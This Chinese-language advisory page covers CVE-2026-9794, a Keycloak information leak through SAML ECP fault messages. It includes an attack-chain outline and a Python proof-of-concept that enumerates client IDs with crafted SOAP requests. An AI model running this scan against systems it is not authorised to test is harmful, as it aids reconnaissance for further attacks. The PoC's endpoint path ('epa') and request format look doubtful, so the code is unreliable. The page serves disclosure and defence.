IPBUF安全漏洞报告
English
CVE-2026-9794 CVSS 5.3 中危

CVE-2026-9794 Keycloak信息泄露漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9794
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

信息泄露KeycloakSAMLECPSOAPCVE-2026-9794

漏洞概述

Keycloak存在一处信息泄露漏洞。由于SAML ECP端点处理机制缺陷,远程未认证攻击者可以通过发送带有不同客户端ID的特制SOAP请求进行探测。通过分析响应中返回的特定错误消息,攻击者能够准确判断客户端所使用的协议类型,从而获取系统配置信息。该漏洞利用无需交互,CVSS评分5.3,属于中危风险。

技术细节

该漏洞根因在于Keycloak在处理SAML ECP(Enhanced Client or Proxy)端点请求时的不当错误处理逻辑。具体而言,当远程未认证的攻击者向SAML ECP端点发送特制的SOAP请求时,系统会根据请求中指定的client_id去查找对应的客户端配置。由于后端逻辑在处理验证失败时,未对返回的SOAP Fault错误消息进行充分过滤,导致响应体中的faultstring字段包含了与客户端协议类型相关的具体信息。
攻击者通过枚举常见的客户端ID并监控返回的faultstring差异,可以侧信道推断出目标客户端ID是否存在以及其绑定的具体协议类型(如SAML或OpenID Connect)。这种信息泄露虽然不直接导致代码执行,但为后续的针对性攻击提供了重要的侦察信息。由于攻击无需用户交互且无需认证,攻击者可对互联网上的Keycloak实例进行批量扫描。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的Keycloak服务及其SAML ECP端点。
STEP 2
枚举与探测
攻击者向ECP端点发送大量特制的SOAP请求,每个请求携带不同的潜在client_id。
STEP 3
侧信道分析
攻击者捕获服务器响应,分析SOAP Fault消息中的faultstring字段差异。
STEP 4
信息获取
根据特定的错误消息模式,推断出有效的客户端ID及其配置的协议类型,完成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_ecp_leak(target_url, realm, client_id): # Construct the SAML ECP endpoint URL url = f"{target_url}/realms/{realm}/protocol/saml/epa" # Headers for SOAP request headers = { "Content-Type": "application/soap+xml", "Accept": "application/soap+xml" } # Basic SOAP payload structure targeting ECP # In a real scenario, this might need specific SAML AuthnRequest wrappers soap_payload = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header/> <soap:Body> <!-- Malformed or crafted content to trigger fault --> <AuthnRequest xmlns="urn:oasis:names:tc:SAML:2.0:protocol" client_id="{client_id}"> </AuthnRequest> </soap:Body> </soap:Envelope>""" try: response = requests.post(url, data=soap_payload, headers=headers, timeout=5) # Check if response contains fault string indicating protocol info if "faultstring" in response.text: print(f"[+] Client ID: {client_id}") print(f" Response Status: {response.status_code}") print(f" Fault String: {response.text}") print("-" * 40) else: print(f"[-] Client ID: {client_id} - No distinct fault found.") except Exception as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8080" realm_name = "master" # List of client IDs to test (Enumeration) clients = ["account", "admin-cli", "broker", "realm-management", "security-admin-console"] for client in clients: check_ecp_leak(target, realm_name, client)

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用SAML ECP功能,或通过防火墙规则仅允许受信任的IP地址访问该端点,以防止未认证的远程扫描。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表